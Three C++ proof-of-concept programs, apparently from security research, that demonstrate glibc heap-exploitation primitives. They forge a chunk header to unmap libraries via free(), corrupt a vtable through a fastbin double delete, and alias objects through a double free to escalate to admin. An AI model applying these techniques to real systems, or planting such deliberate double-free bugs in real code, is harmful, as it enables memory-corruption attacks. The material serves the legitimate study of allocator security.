---------------unmap-glibc.cpp-------------
/* glibc unmap example * * This is not a super functional example and mostly * just a demonstration that you can trigger the * unmapping of other sections of memory by abusing * free(). Depeding on the value of siz, its actually * possible to unmap mostly the address space and segfault * upon return, or segfault on the next libc call. * * Depending on the precise layout of the application and * the siz of the unmapping, you can CHANGE THE BASE ADDRESS * for pre-existing modules. It seems like this might be useful * to replicate GOT/PLT writes in lazy bound applications or * similar, but that hasn't been overly explored. * * Furthermore, realloc() can be utilized in a similar manner, * however it is more likely to fail. There are some interesting * code paths inside of the mremap system call (as of 4.0.0) that * could cause it to return the pointer in question, so in some * bizarre scenario it may be possible to confuse an application * into allocating a pointer already allocated, however you would * need to have control of the pointer when it went into realloc * and at least set the mmap flag (0x02) at * ptr-sizeof(struct malloc_chunk)+sizeof(size_t) which makes the * idea mostly useless. * * munmap is more useful, especially for large mappings because * they will tend to fall towards the beginning of the address * space preceeding the first loaded module, thus you can * manipulate the location and mappings of the entire address * space this way, and as I said, possibly, potentially cause * GOT/PLT type SNAFUs, although that was unexplored. * * The major caveat that makes this generally unrealistic * is that you need to have control of the pointer passed to free() * and be able to ensure that the map flag is set and that the * pointer minus the prev_size bitwise or'd with the pointer * plus the prev_size plus the mapping size is aligned properly. * There is no check to ensure this arithmetic does not wrap around * the address space, however at times the masking of low-order bits * is problematic. * * At any rate, im sure in some weird set of exploitation circumstances * this knowledge could provide rather useful. */
#include <iostream> #include <cstring> #include <cstdlib> #include <string> #include <unistd.h>
signed int main(void) { char* ptr = nullptr; char* dst = nullptr; size_t* siz = nullptr;
malloc(1); for (size_t idx = 0; idx < 5; idx++) { ptr = static_cast< char* >(malloc(1024 * 1024 * 1024)); dst = ptr+(4096-16); std::memcpy(dst, ptr-16, 16); siz = reinterpret_cast< size_t* >(dst); *siz = 1024*1024*1024+512*1024; //+256*1024*1024; dst += 16; free(dst); }
// the _exit() is because we almost certainly // screwed up the loaded libraries in such a // manner that the application segfaults when // their destructors are called...because data // or their instructions no longer exist. // // Yes, you can unmap loaded libraries, you can // unmap lots of them at the same time without // the loader being aware of it. _exit(EXIT_SUCCESS); return EXIT_SUCCESS; }
-----------virtual-glibc.cpp---------------
/* glibc fastbin's double destructor example * * This example doesn't actually double free. * Instead it takes advantage of heap state and the * fastbin linking mechanisms to redirect execution * flow to a pointer of the attackers choosing * when the destructor is called the same time. * * When vtable verification is absent, this will * attempt to call 0x4141414141414141 and segfault. * * When vtable verification is present, it will * do the same, however it will abort due to the * failure to verify the vftable. A work around * would be any condition where the attacker is able * to reconstruct the vftable of type_one inside of * m_buf/etc. * * This condition occurs because: * - p->fd = *fb * *fb = p->fd * * Thus if an attacker can control the state of the * fastbin, and the data within the chunk at the top * of the fastbin, then they can cause the p->fd linking * which corrupts the vtable pointer to point to a * location of their choosing. * * The caveat being that the subsequent calls through the * vtable are sufficiently deep enough into the table * to point past the end of the heaps metadata for the * chunk. * * !!!! * JEMALLOC DOES NOT SHARE THIS CONDITION * !!!! * * tcmalloc seems to exhibit alternative memory * corrupt which makes the outcome less stable * however the what and why of it was not investigated. */
#include <cstdint> #include <cstdlib> #include <cstring> #include <string> #include <vector>
class type_one { private: uint8_t m_buf[32];
protected: /* * For the initial steps, the biggest * constraint is that vptr+offset to destructor * must be greater than the metadata in mallocs * chunk structures. In practice, this doesn't * seem to be overly problematic, for instance * in Qt everything is derived from QObject * with at least a few additional derived * classes. Thus what seems unreasonable or at * least bordering on it in this example really * isnt. */ virtual void method_one(void) {} virtual void method_two(void) {} virtual void method_three(void) {} virtual void method_four(void) {} virtual void method_five(void) {} virtual void method_six(void) {} virtual void method_seven(void) {} virtual void method_eight(void) {} virtual void method_nine(void) {} virtual void method_ten(void) {} virtual void method_eleven(void) {}
public: type_one(void) { std::memset(m_buf, 0x41, sizeof(m_buf)); return; } virtual ~type_one(void) { return; } };
signed int main(void) { type_one* one(nullptr); type_one* pad_zero(nullptr); type_one* pad_one(nullptr);
/* * What we are specifically abusing here is that * fastbin chunks are not doubly linked, and * they are linked into the fastbin freelist * via a construct akin to: * p->FD = *fb; * *fb = p; * * This has the side effect that our vftable * pointer is corrupted during free. However * depending on context of the application, * this can be useful to us; although only * in the presence of other failures like a * leak that discloses address space layout * and similar. */
pad_zero = new type_one; pad_one = new type_one;
delete pad_zero; delete pad_one;
/* * with a chunk whose data we can * control preceeding the object * we intend to double free, * we can seize control of * the instruction pointer here * providing that the data we control * is is outside of mallocs metadata. */ one = new type_one;
delete one; // <-- corrupts the vptr delete one; // <-- attempts to call vptr+offset // which points to m_buf[x]
return EXIT_SUCCESS; }
-----------------virtual-staticdtor-same.cpp-------------------
/* glibc fastbin / tcmalloc / jemalloc double destructor/free example * * This example demonstrates a pattern with a base type with a protected * destructor so as to avoid glibc's corruption of the vftable pointer, * that exact condition does not exhibit itself with jemalloc, however * there appears to be additional memory corruption in tcmalloc that * leaves the heap in a less than stable state, however it was not * further investigated. * * In this example, whether vtable verification is enabled or not is * irrelevant, as the same object type occupies the same memory location * and so all vptr's will correctly validate. However, the instance * variables are shared and thus the objects become entangled with * one another and a modification to the state of one object modifies * the state of the other. As such, the unauthenticated regular user * becomes an authenticated administrative user when the instance * variables in one instance are changed. * */
#include <cstdint> #include <cstdlib> #include <vector> #include <iostream>
class user_base_type { private: protected: bool m_is_admin; bool m_is_auth;
~user_base_type(void) {} public: user_base_type(bool auth, bool admin) : m_is_auth(auth), m_is_admin(admin) {} virtual void set_auth(bool a) { m_is_auth = a; } virtual void set_admin(bool a) { m_is_admin = a; } virtual bool get_auth(void) { return m_is_auth; } virtual bool get_admin(void) { return m_is_admin; } };
class user_type : public user_base_type { private: protected: public: user_type(void) : user_base_type(false, false) {} ~user_type(void) {} };
signed int main(void) { user_type* o(nullptr); user_type* t(nullptr); user_type* h(nullptr);
o = new user_type; t = new user_type;
delete o; delete t; delete o;
o = new user_type; t = new user_type; h = new user_type;
std::cout << "o: " << o << " t: " << t << " h: " << h << std::endl; o->set_auth(false); o->set_admin(false); h->set_auth(true); h->set_admin(true);
std::cout << "o auth: " << o->get_auth() << " admin: " << o->get_admin() << std::endl; std::cout << "h auth: " << h->get_auth() << " admin: " << h->get_admin() << std::endl;
return EXIT_SUCCESS; }
|